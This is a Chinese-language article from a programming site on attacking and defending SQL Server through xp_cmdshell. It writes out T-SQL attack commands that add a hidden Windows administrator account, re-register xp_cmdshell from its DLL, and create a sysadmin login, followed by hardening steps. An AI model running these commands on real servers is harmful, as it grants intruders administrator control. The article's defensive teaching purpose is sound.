首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 提權攻擊與防禦:xp_cmdshell 惡用全解析

     編輯:關於SqlServer

攻擊向量:xp_cmdshell 啟用與濫用

xp_cmdshell 允許 T-SQL 執行作業系統指令,若落入惡意使用者手中,可建立系統管理員帳號、竊取檔案、植入後門。

典型攻擊序列

-- 1. 新增系統管理員帳號
EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'
EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'

-- 2. 列舉磁碟資訊
EXEC master..xp_cmdshell 'dir c:\'
EXEC master..xp_cmdshell 'dir d:\'

-- 3. 開啟遠端桌面、修改防火牆、植入服務...

啟用 xp_cmdshell 的方法 (攻擊者視角)

-- 檢查是否存在
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'

-- 註冊擴充預存程序
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

-- 若 DLL 遺失,上傳至 C:\WinNT\System32\ 後註冊
EXEC master.dbo.addextendedproc 'xp_cmdshell', 'C:/WinNT/System32/xplog70.dll'

防禦措施

1. 移除 xp_cmdshell (最徹底)

EXEC sp_dropextendedproc 'xp_cmdshell'

2. 限制執行權限

  • SQL Server 6.5:設定 `SQLExecutiveCmdExec` Proxy 帳戶,限制非 sa 使用
  • SQL 2000+:預設僅 sysadmin 可執行,嚴格控管 sysadmin 成員

3. 移除高風險擴充程序

-- OLE Automation
sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, 
sp_OAMethod, sp_OASetProperty, sp_OAStop

-- 登錄存取 (謹慎:影響 SQL Agent、日誌)
xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, 
xp_regenumvalues, xp_regremovemultistring

4. 作業系統層面防禦

  • SQL Server 服務帳號使用**最低權限網域帳號**,禁止 LocalSystem
  • 防火牆封鎖不必要輸出連線
  • 啟用稽核:登入失敗、物件存取、權限變更
  • 套用最新安全性更新

SQL 層面帳號管理風險

-- 危險:直接建立 sysadmin 登入
EXEC master..sp_addlogin 'attacker', 'P@ssw0rd'
EXEC master..sp_addsrvrolemember 'attacker', 'sysadmin'

嚴格審核 sysadmin 角色成員,定期檢視 sp_helpsrvrolemember 'sysadmin'。

總結

xp_cmdshell 是雙面刃,**預設關閉、按需啟用、嚴格審計** 是核心原則。資料庫安全不僅是 SQL 設定,更是作業系統、網路、人員管理的系統工程。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved